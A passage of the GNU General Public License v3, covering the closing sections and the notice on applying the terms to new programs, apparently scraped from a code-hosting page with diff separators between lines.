combined work, and to convey the resulting work. The terms of this
|
||||
License will continue to apply to the part which is the covered work,
|
||||
but the special requirements of the GNU Affero General Public License,
|
||||
section 13, concerning interaction through a network will apply to the
|
||||
combination as such.
|
||||
|
||||
14. Revised Versions of this License.
|
||||
|
||||
The Free Software Foundation may publish revised and/or new versions of
|
||||
the GNU General Public License from time to time. Such new versions will
|
||||
be similar in spirit to the present version, but may differ in detail to
|
||||
address new problems or concerns.
|
||||
|
||||
Each version is given a distinguishing version number. If the
|
||||
Program specifies that a certain numbered version of the GNU General
|
||||
Public License "or any later version" applies to it, you have the
|
||||
option of following the terms and conditions either of that numbered
|
||||
version or of any later version published by the Free Software
|
||||
Foundation. If the Program does not specify a version number of the
|
||||
GNU General Public License, you may choose any version ever published
|
||||
by the Free Software Foundation.
|
||||
|
||||
If the Program specifies that a proxy can decide which future
|
||||
versions of the GNU General Public License can be used, that proxy's
|
||||
public statement of acceptance of a version permanently authorizes you
|
||||
to choose that version for the Program.
|
||||
|
||||
Later license versions may give you additional or different
|
||||
permissions. However, no additional obligations are imposed on any
|
||||
author or copyright holder as a result of your choosing to follow a
|
||||
later version.
|
||||
|
||||
15. Disclaimer of Warranty.
|
||||
|
||||
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
|
||||
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
|
||||
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
|
||||
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
|
||||
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
||||
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
|
||||
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
|
||||
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
|
||||
|
||||
16. Limitation of Liability.
|
||||
|
||||
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
|
||||
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
|
||||
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
|
||||
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
|
||||
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
|
||||
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
|
||||
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
|
||||
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
|
||||
SUCH DAMAGES.
|
||||
|
||||
17. Interpretation of Sections 15 and 16.
|
||||
|
||||
If the disclaimer of warranty and limitation of liability provided
|
||||
above cannot be given local legal effect according to their terms,
|
||||
reviewing courts shall apply local law that most closely approximates
|
||||
an absolute waiver of all civil liability in connection with the
|
||||
Program, unless a warranty or assumption of liability accompanies a
|
||||
copy of the Program in return for a fee.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
How to Apply These Terms to Your New Programs
|
||||
|
||||
If you develop a new program, and you want it to be of the greatest
|
||||
possible use to the public, the best way to achieve this is to make it
|
||||
free software which everyone can redistribute and change under these terms.
|
||||
|
||||
To do so, attach the following notices to the program. It is safest
|
||||
to attach them to the start of each source file to most effectively
|
||||
state the exclusion of warranty; and each file should have at least
|
||||
the "copyright" line and a pointer to where the full notice is found.
|
||||
|
||||
<one line to give the program's name and a brief idea of what it does.>
|
||||
Copyright (C) <year> <name of author>
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
Also add information on how to contact you by electronic and paper mail.
|
||||
|
||||
If the program does terminal interaction, make it output a short
|
||||
notice like this when it starts in an interactive mode:
|
||||
|
||||
<program> Copyright (C) <year> <name of author>
|
||||
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
|
||||
This is free software, and you are welcome to redistribute it
|
||||
under certain conditions; type `show c' for details.
|
||||
|
||||
The hypothetical commands `show w' and `show c' should show the appropriate
|
||||
parts of the General Public License. Of course, your program's commands
|
||||
might be different; for a GUI interface, you would use an "about box".
|
||||
|
||||
You should also get your employer (if you work as a programmer) or school,
|
||||
if any, to sign a "copyright disclaimer" for the program, if necessary.
|
||||
For more information on this, and how to apply and follow the GNU GPL, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
The GNU General Public License does not permit incorporating your program
|
||||
into proprietary programs. If your program is a subroutine library, you
|
||||
may consider it more useful to permit linking proprietary applications with
|
||||
the library. If this is what you want to do, use the GNU Lesser General
|
||||
Public License instead of this License. But first, please read
|
||||
<http://www.gnu.org/philosophy/why-not-lgpl.html>.
|
Loading…
Reference in New Issue